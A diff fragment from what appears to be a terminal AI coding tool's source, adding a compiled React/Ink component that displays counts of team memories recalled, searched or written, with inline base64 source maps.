yZXNvbHZlZEhvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5yZXNvbHZlZEhvb2tDb3VudHMuZ2V0KHRvb2xVc2VJRCk/LmdldChob29rRXZlbnQpID8/IDBcbiAgaWYgKGluUHJvZ3Jlc3NIb29rQ291bnQgPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgaWYgKGhvb2tFdmVudCA9PT0gJ1ByZVRvb2xVc2UnIHx8IGhvb2tFdmVudCA9PT0gJ1Bvc3RUb29sVXNlJykge1xuICAgIC8vIEluIHRyYW5zY3JpcHQgbW9kZSwgc2hvdyBhIHN0YXRpYyBzdW1tYXJ5IHNpbmNlIG1lc3NhZ2VzIG5ldmVyIHJlLXJlbmRlclxuICAgIC8vIChzbyBhIHRyYW5zaWVudCBcIlJ1bm5pbmcuLi5cIiB3b3VsZCBnZXQgc3R1Y2spLlxuICAgIGlmIChpc1RyYW5zY3JpcHRNb2RlKSB7XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e2luUHJvZ3Jlc3NIb29rQ291bnR9IDwvVGV4dD5cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAgICAgIHtob29rRXZlbnR9XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAge2luUHJvZ3Jlc3NIb29rQ291bnQgPT09IDEgPyAnIGhvb2snIDogJyBob29rcyd9IHJhblxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgIClcbiAgICB9XG4gICAgLy8gT3V0c2lkZSB0cmFuc2NyaXB0IG1vZGUsIGhpZGUg4oCUIGNvbXBsZXRpb24gaW5mbyBpcyBzaG93biB2aWFcbiAgICAvLyBhc3luY19ob29rX3Jlc3BvbnNlIGF0dGFjaG1lbnRzIGluc3RlYWQuXG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGlmIChyZXNvbHZlZEhvb2tDb3VudCA9PT0gaW5Qcm9ncmVzc0hvb2tDb3VudCkge1xuICAgIHJldHVybiBudWxsXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+UnVubmluZyA8L1RleHQ+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAge2hvb2tFdmVudH1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57aW5Qcm9ncmVzc0hvb2tDb3VudCA9PT0gMSA/ICcgaG9va+KApicgOiAnIGhvb2tz4oCmJ308L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixjQUFjQyxTQUFTLFFBQVEsa0NBQWtDO0FBQ2pFLGNBQWNDLG1CQUFtQixRQUFRLHVCQUF1QjtBQUNoRSxTQUFTQyxHQUFHLEVBQUVDLElBQUksUUFBUSxjQUFjO0FBQ3hDLFNBQVNDLGVBQWUsUUFBUSx1QkFBdUI7QUFFdkQsS0FBS0MsS0FBSyxHQUFHO0VBQ1hDLFNBQVMsRUFBRU4sU0FBUztFQUNwQk8sT0FBTyxFQUFFQyxVQUFVLENBQUMsT0FBT1AsbUJBQW1CLENBQUM7RUFDL0NRLFNBQVMsRUFBRSxNQUFNO0VBQ2pCQyxPQUFPLEVBQUUsT0FBTztFQUNoQkMsZ0JBQWdCLENBQUMsRUFBRSxPQUFPO0FBQzVCLENBQUM7QUFFRCxPQUFPLFNBQUFDLG9CQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQTZCO0lBQUFULFNBQUE7SUFBQUMsT0FBQTtJQUFBRSxTQUFBO0lBQUFFO0VBQUEsSUFBQUUsRUFLNUI7RUFBQSxJQUFBRyxFQUFBO0V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
src/components/messages/teamMemCollapsed.tsx ADDED
@@ -0,0 +1,140 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { c as _c } from "react/compiler-runtime";
2
+ import React from 'react';
3
+ import { Text } from '../../ink.js';
4
+ import type { CollapsedReadSearchGroup } from '../../types/message.js';
5
+
6
+ /**
7
+ * Plain function (not a React component) so the React Compiler won't
8
+ * hoist the teamMemory* property accesses for memoization. This module
9
+ * is only loaded when feature('TEAMMEM') is true.
10
+ */
11
+ export function checkHasTeamMemOps(message: CollapsedReadSearchGroup): boolean {
12
+ return (message.teamMemorySearchCount ?? 0) > 0 || (message.teamMemoryReadCount ?? 0) > 0 || (message.teamMemoryWriteCount ?? 0) > 0;
13
+ }
14
+
15
+ /**
16
+ * Renders team memory count parts for the collapsed read/search UI.
17
+ * This module is only loaded when feature('TEAMMEM') is true,
18
+ * so DCE removes it entirely from external builds.
19
+ */
20
+ export function TeamMemCountParts(t0) {
21
+ const $ = _c(23);
22
+ const {
23
+ message,
24
+ isActiveGroup,
25
+ hasPrecedingParts
26
+ } = t0;
27
+ const tmReadCount = message.teamMemoryReadCount ?? 0;
28
+ const tmSearchCount = message.teamMemorySearchCount ?? 0;
29
+ const tmWriteCount = message.teamMemoryWriteCount ?? 0;
30
+ if (tmReadCount === 0 && tmSearchCount === 0 && tmWriteCount === 0) {
31
+ return null;
32
+ }
33
+ let t1;
34
+ if ($[0] !== hasPrecedingParts || $[1] !== isActiveGroup || $[2] !== tmReadCount || $[3] !== tmSearchCount || $[4] !== tmWriteCount) {
35
+ const nodes = [];
36
+ let count = hasPrecedingParts ? 1 : 0;
37
+ if (tmReadCount > 0) {
38
+ const verb = isActiveGroup ? count === 0 ? "Recalling" : "recalling" : count === 0 ? "Recalled" : "recalled";
39
+ if (count > 0) {
40
+ let t2;
41
+ if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
42
+ t2 = <Text key="comma-tmr">, </Text>;
43
+ $[6] = t2;
44
+ } else {
45
+ t2 = $[6];
46
+ }
47
+ nodes.push(t2);
48
+ }
49
+ let t2;
50
+ if ($[7] !== tmReadCount) {
51
+ t2 = <Text bold={true}>{tmReadCount}</Text>;
52
+ $[7] = tmReadCount;
53
+ $[8] = t2;
54
+ } else {
55
+ t2 = $[8];
56
+ }
57
+ const t3 = tmReadCount === 1 ? "memory" : "memories";
58
+ let t4;
59
+ if ($[9] !== t2 || $[10] !== t3 || $[11] !== verb) {
60
+ t4 = <Text key="team-mem-read">{verb} {t2} team{" "}{t3}</Text>;
61
+ $[9] = t2;
62
+ $[10] = t3;
63
+ $[11] = verb;
64
+ $[12] = t4;
65
+ } else {
66
+ t4 = $[12];
67
+ }
68
+ nodes.push(t4);
69
+ count++;
70
+ }
71
+ if (tmSearchCount > 0) {
72
+ const verb_0 = isActiveGroup ? count === 0 ? "Searching" : "searching" : count === 0 ? "Searched" : "searched";
73
+ if (count > 0) {
74
+ let t2;
75
+ if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
76
+ t2 = <Text key="comma-tms">, </Text>;
77
+ $[13] = t2;
78
+ } else {
79
+ t2 = $[13];
80
+ }
81
+ nodes.push(t2);
82
+ }
83
+ const t2 = `${verb_0} team memories`;
84
+ let t3;
85
+ if ($[14] !== t2) {
86
+ t3 = <Text key="team-mem-search">{t2}</Text>;
87
+ $[14] = t2;
88
+ $[15] = t3;
89
+ } else {
90
+ t3 = $[15];
91
+ }
92
+ nodes.push(t3);
93
+ count++;
94
+ }
95
+ if (tmWriteCount > 0) {
96
+ const verb_1 = isActiveGroup ? count === 0 ? "Writing" : "writing" : count === 0 ? "Wrote" : "wrote";
97
+ if (count > 0) {
98
+ let t2;
99
+ if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
100
+ t2 = <Text key="comma-tmw">, </Text>;
101
+ $[16] = t2;
102
+ } else {
103
+ t2 = $[16];
104
+ }
105
+ nodes.push(t2);
106
+ }
107
+ let t2;
108
+ if ($[17] !== tmWriteCount) {
109
+ t2 = <Text bold={true}>{tmWriteCount}</Text>;
110
+ $[17] = tmWriteCount;
111
+ $[18] = t2;
112
+ } else {
113
+ t2 = $[18];
114
+ }
115
+ const t3 = tmWriteCount === 1 ? "memory" : "memories";
116
+ let t4;
117
+ if ($[19] !== t2 || $[20] !== t3 || $[21] !== verb_1) {
118
+ t4 = <Text key="team-mem-write">{verb_1} {t2} team{" "}{t3}</Text>;
119
+ $[19] = t2;
120
+ $[20] = t3;
121
+ $[21] = verb_1;
122
+ $[22] = t4;
123
+ } else {
124
+ t4 = $[22];
125
+ }
126
+ nodes.push(t4);
127
+ }
128
+ t1 = <>{nodes}</>;
129
+ $[0] = hasPrecedingParts;
130
+ $[1] = isActiveGroup;
131
+ $[2] = tmReadCount;
132
+ $[3] = tmSearchCount;
133
+ $[4] = tmWriteCount;
134
+ $[5] = t1;
135
+ } else {
136
+ t1 = $[5];
137
+ }
138
+ return t1;
139
+ }
140
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlRleHQiLCJDb2xsYXBzZWRSZWFkU2VhcmNoR3JvdXAiLCJjaGVja0hhc1RlYW1NZW1PcHMiLCJtZXNzYWdlIiwidGVhbU1lbW9yeVNlYXJjaENvdW50IiwidGVhbU1lbW9yeVJlYWRDb3VudCIsInRlYW1NZW1vcnlXcml0ZUNvdW50IiwiVGVhbU1lbUNvdW50UGFydHMiLCJ0MCIsIiQiLCJfYyIsImlzQWN0aXZlR3JvdXAiLCJoYXNQcmVjZWRpbmdQYXJ0cyIsInRtUmVhZENvdW50IiwidG1TZWFyY2hDb3VudCIsInRtV3JpdGVDb3VudCIsInQxIiwibm9kZXMiLCJjb3VudCIsInZlcmIiLCJ0MiIsIlN5bWJvbCIsImZvciIsInB1c2giLCJ0MyIsInQ0IiwidmVyYl8wIiwidmVyYl8xIl0sInNvdXJjZXMiOlsidGVhbU1lbUNvbGxhcHNlZC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgQ29sbGFwc2VkUmVhZFNlYXJjaEdyb3VwIH0gZnJvbSAnLi4vLi4vdHlwZXMvbWVzc2FnZS5qcydcblxuLyoqXG4gKiBQbGFpbiBmdW5jdGlvbiAobm90IGEgUmVhY3QgY29tcG9uZW50KSBzbyB0aGUgUmVhY3QgQ29tcGlsZXIgd29uJ3RcbiAqIGhvaXN0IHRoZSB0ZWFtTWVtb3J5KiBwcm9wZXJ0eSBhY2Nlc3NlcyBmb3IgbWVtb2l6YXRpb24uIFRoaXMgbW9kdWxlXG4gKiBpcyBvbmx5IGxvYWRlZCB3aGVuIGZlYXR1cmUoJ1RFQU1NRU0nKSBpcyB0cnVlLlxuICovXG5leHBvcnQgZnVuY3Rpb24gY2hlY2tIYXNUZWFtTWVtT3BzKG1lc3NhZ2U6IENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cCk6IGJvb2xlYW4ge1xuICByZXR1cm4gKFxuICAgIChtZXNzYWdlLnRlYW1NZW1vcnlTZWFyY2hDb3VudCA/PyAwKSA+IDAgfHxcbiAgICAobWVzc2FnZS50ZWFtTWVtb3J5UmVhZENvdW50ID8/IDApID4gMCB8fFxuICAgIChtZXNzYWdlLnRlYW1NZW1vcnlXcml0ZUNvdW50ID8/IDApID4gMFxuICApXG59XG5cbi8qKlxuICogUmVuZGVycyB0ZWFtIG1lbW9yeSBjb3VudCBwYXJ0cyBmb3IgdGhlIGNvbGxhcHNlZCByZWFkL3NlYXJjaCBVSS5cbiAqIFRoaXMgbW9kdWxlIGlzIG9ubHkgbG9hZGVkIHdoZW4gZmVhdHVyZSgnVEVBTU1FTScpIGlzIHRydWUsXG4gKiBzbyBEQ0UgcmVtb3ZlcyBpdCBlbnRpcmVseSBmcm9tIGV4dGVybmFsIGJ1aWxkcy5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIFRlYW1NZW1Db3VudFBhcnRzKHtcbiAgbWVzc2FnZSxcbiAgaXNBY3RpdmVHcm91cCxcbiAgaGFzUHJlY2VkaW5nUGFydHMsXG59OiB7XG4gIG1lc3NhZ2U6IENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cFxuICBpc0FjdGl2ZUdyb3VwOiBib29sZWFuIHwgdW5kZWZpbmVkXG4gIGhhc1ByZWNlZGluZ1BhcnRzOiBib29sZWFuXG59KTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgdG1SZWFkQ291bnQgPSBtZXNzYWdlLnRlYW1NZW1vcnlSZWFkQ291bnQgPz8gMFxuICBjb25zdCB0bVNlYXJjaENvdW50ID0gbWVzc2FnZS50ZWFtTWVtb3J5U2VhcmNoQ291bnQgPz8gMFxuICBjb25zdCB0bVdyaXRlQ291bnQgPSBtZXNzYWdlLnRlYW1NZW1vcnlXcml0ZUNvdW50ID8/IDBcblxuICBpZiAodG1SZWFkQ291bnQgPT09IDAgJiYgdG1TZWFyY2hDb3VudCA9PT0gMCAmJiB0bVdyaXRlQ291bnQgPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgY29uc3Qgbm9kZXM6IFJlYWN0LlJlYWN0Tm9kZVtdID0gW11cbiAgbGV0IGNvdW50ID0gaGFzUHJlY2VkaW5nUGFydHMgPyAxIDogMFxuXG4gIGlmICh0bVJlYWRDb3VudCA+IDApIHtcbiAgICBjb25zdCB2ZXJiID0gaXNBY3RpdmVHcm91cFxuICAgICAgPyBjb3VudCA9PT0gMFxuICAgICAgICA/ICdSZWNhbGxpbmcnXG4gICAgICAgIDogJ3JlY2FsbGluZydcbiAgICAgIDogY291bnQgPT09IDBcbiAgICAgICAgPyAnUmVjYWxsZWQnXG4gICAgICAgIDogJ3JlY2FsbGVkJ1xuICAgIGlmIChjb3VudCA+IDApIHtcbiAgICAgIG5vZGVzLnB1c2goPFRleHQga2V5PVwiY29tbWEtdG1yXCI+LCA8L1RleHQ+KVxuICAgIH1cbiAgICBub2Rlcy5wdXNoKFxuICAgICAgPFRleHQga2V5PVwidGVhbS1tZW0tcmVhZFwiPlxuICAgICAgICB7dmVyYn0gPFRleHQgYm9sZD57dG1SZWFkQ291bnR9PC9UZXh0PiB0ZWFteycgJ31cbiAgICAgICAge3RtUmVhZENvdW50ID09PSAxID8gJ21lbW9yeScgOiAnbWVtb3JpZXMnfVxuICAgICAgPC9UZXh0PixcbiAgICApXG4gICAgY291bnQrK1xuICB9XG5cbiAgaWYgKHRtU2VhcmNoQ291bnQgPiAwKSB7XG4gICAgY29uc3QgdmVyYiA9IGlzQWN0aXZlR3JvdXBcbiAgICAgID8gY291bnQgPT09IDBcbiAgICAgICAgPyAnU2VhcmNoaW5nJ1xuICAgICAgICA6ICdzZWFyY2hpbmcnXG4gICAgICA6IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1NlYXJjaGVkJ1xuICAgICAgICA6ICdzZWFyY2hlZCdcbiAgICBpZiAoY291bnQgPiAwKSB7XG4gICAgICBub2Rlcy5wdXNoKDxUZXh0IGtleT1cImNvbW1hLXRtc1wiPiwgPC9UZXh0PilcbiAgICB9XG4gICAgbm9kZXMucHVzaCg8VGV4dCBrZXk9XCJ0ZWFtLW1lbS1zZWFyY2hcIj57YCR7dmVyYn0gdGVhbSBtZW1vcmllc2B9PC9UZXh0PilcbiAgICBjb3VudCsrXG4gIH1cblxuICBpZiAodG1Xcml0ZUNvdW50ID4gMCkge1xuICAgIGNvbnN0IHZlcmIgPSBpc0FjdGl2ZUdyb3VwXG4gICAgICA/IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1dyaXRpbmcnXG4gICAgICAgIDogJ3dyaXRpbmcnXG4gICAgICA6IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1dyb3RlJ1xuICAgICAgICA6ICd3cm90ZSdcbiAgICBpZiAoY291bnQgPiAwKSB7XG4gICAgICBub2Rlcy5wdXNoKDxUZXh0IGtleT1cImNvbW1hLXRtd1wiPiwgPC9UZXh0PilcbiAgICB9XG4gICAgbm9kZXMucHVzaChcbiAgICAgIDxUZXh0IGtleT1cInRlYW0tbWVtLXdyaXRlXCI+XG4gICAgICAgIHt2ZXJifSA8VGV4dCBib2xkPnt0bVdyaXRlQ291bnR9PC9UZXh0PiB0ZWFteycgJ31cbiAgICAgICAge3RtV3JpdGVDb3VudCA9PT0gMSA/ICdtZW1vcnknIDogJ21lbW9yaWVzJ31cbiAgICAgIDwvVGV4dD4sXG4gICAgKVxuICB9XG5cbiAgcmV0dXJuIDw+e25vZGVzfTwvPlxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsSUFBSSxRQUFRLGNBQWM7QUFDbkMsY0FBY0Msd0JBQXdCLFFBQVEsd0JBQXdCOztBQUV0RTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFTQyxrQkFBa0JBLENBQUNDLE9BQU8sRUFBRUYsd0JBQXdCLENBQUMsRUFBRSxPQUFPLENBQUM7RUFDN0UsT0FDRSxDQUFDRSxPQUFPLENBQUNDLHFCQUFxQixJQUFJLENBQUMsSUFBSSxDQUFDLElBQ3hDLENBQUNELE9BQU8sQ0FBQ0UsbUJBQW1CLElBQUksQ0FBQyxJQUFJLENBQUMsSUFDdEMsQ0FBQ0YsT0FBTyxDQUFDRyxvQkFBb0IsSUFBSSxDQUFDLElBQUksQ0FBQztBQUUzQzs7QUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFBQyxrQkFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUEyQjtJQUFBUCxPQUFBO0lBQUFRLGFBQUE7SUFBQUM7RUFBQSxJQUFBSixFQVFqQztFQUNDLE1BQUFLLFdBQUEsR0FBb0JWLE9BQU8sQ0FBQUUsbUJBQXlCLElBQWhDLENBQWdDO0VBQ3BELE1BQUFTLGFBQUEsR0FBc0JYLE9BQU8sQ0FBQUMscUJBQTJCLElBQWxDLENBQWtDO0VBQ3hELE1BQUFXLFlBQUEsR0FBcUJaLE9BQU8sQ0FBQUcsb0JBQTBCLElBQWpDLENBQWlDO0VBRXRELElBQUlPLFdBQVcsS0FBSyxDQUF3QixJQUFuQkMsYUFBYSxLQUFLLENBQXVCLElBQWxCQyxZQUFZLEtBQUssQ0FBQztJQUFBLE9BQ3pELElBQUk7RUFBQTtFQUNaLElBQUFDLEVBQUE7RUFBQSxJQUFBUCxDQUFBLFFBQUFHLGlCQUFBLElBQUFILENBQUEsUUFBQUUsYUFBQSxJQUFBRixDQUFBLFFBQUFJLFdBQUEsSUFBQUosQ0FBQSxRQUFBSyxhQUFBLElBQUFMLENBQUEsUUFBQU0sWUFBQTtJQUVELE1BQUFFLEtBQUEsR0FBaUMsRUFBRTtJQUNuQyxJQUFBQyxLQUFBLEdBQVlOLGlCQUFpQixHQUFqQixDQUF5QixHQUF6QixDQUF5QjtJQUVyQyxJQUFJQyxXQUFXLEdBQUcsQ0FBQztNQUNqQixNQUFBTSxJQUFBLEdBQWFSLGFBQWEsR0FDdEJPLEtBQUssS0FBSyxDQUVHLEdBRmIsV0FFYSxHQUZiLFdBS1ksR0FGWkEsS0FBSyxLQUFLLENBRUUsR0FGWixVQUVZLEdBRlosVUFFWTtNQUNoQixJQUFJQSxLQUFLLEdBQUcsQ0FBQztRQUFBLElBQUFFLEVBQUE7UUFBQSxJQUFBWCxDQUFBLFFBQUFZLE1BQUEsQ0FBQUMsR0FBQTtVQUNBRixFQUFBLElBQUMsSUFBSSxDQUFLLEdBQVcsQ0FBWCxXQUFXLENBQUMsRUFBRSxFQUF2QixJQUFJLENBQTBCO1VBQUFYLENBQUEsTUFBQVcsRUFBQTtRQUFBO1VBQUFBLEVBQUEsR0FBQVgsQ0FBQTtRQUFBO1FBQTFDUSxLQUFLLENBQUFNLElBQUssQ0FBQ0gsRUFBK0IsQ0FBQztNQUFBO01BQzVDLElBQUFBLEVBQUE7TUFBQSxJQUFBWCxDQUFBLFFBQUFJLFdBQUE7UUFHVU8sRUFBQSxJQUFDLElBQUksQ0FBQyxJQUFJLENBQUosS0FBRyxDQUFDLENBQUVQLFlBQVUsQ0FBRSxFQUF2QixJQUFJLENBQTBCO1FBQUFKLENBQUEsTUFBQUksV0FBQTtRQUFBSixDQUFBLE1BQUFXLEVBQUE7TUFBQTtRQUFBQSxFQUFBLEdBQUFYLENBQUE7TUFBQTtNQUNyQyxNQUFBZSxFQUFBLEdBQUFYLFdBQVcsS0FBSyxDQUF5QixHQUF6QyxRQUF5QyxHQUF6QyxVQUF5QztNQUFBLElBQUFZLEVBQUE7TUFBQSxJQUFBaEIsQ0FBQSxRQUFBVyxFQUFBLElBQUFYLENBQUEsU0FBQWUsRUFBQSxJQUFBZixDQUFBLFNBQUFVLElBQUE7UUFGNUNNLEVBQUEsSUFBQyxJQUFJLENBQUssR0FBZSxDQUFmLGVBQWUsQ0FDdEJOLEtBQUcsQ0FBRSxDQUFDLENBQUFDLEVBQThCLENBQUMsS0FBTSxJQUFFLENBQzdDLENBQUFJLEVBQXdDLENBQzNDLEVBSEMsSUFBSSxDQUdFO1FBQUFmLENBQUEsTUFBQVcsRUFBQTtRQUFBWCxDQUFBLE9BQUFlLEVBQUE7UUFBQWYsQ0FBQSxPQUFBVSxJQUFBO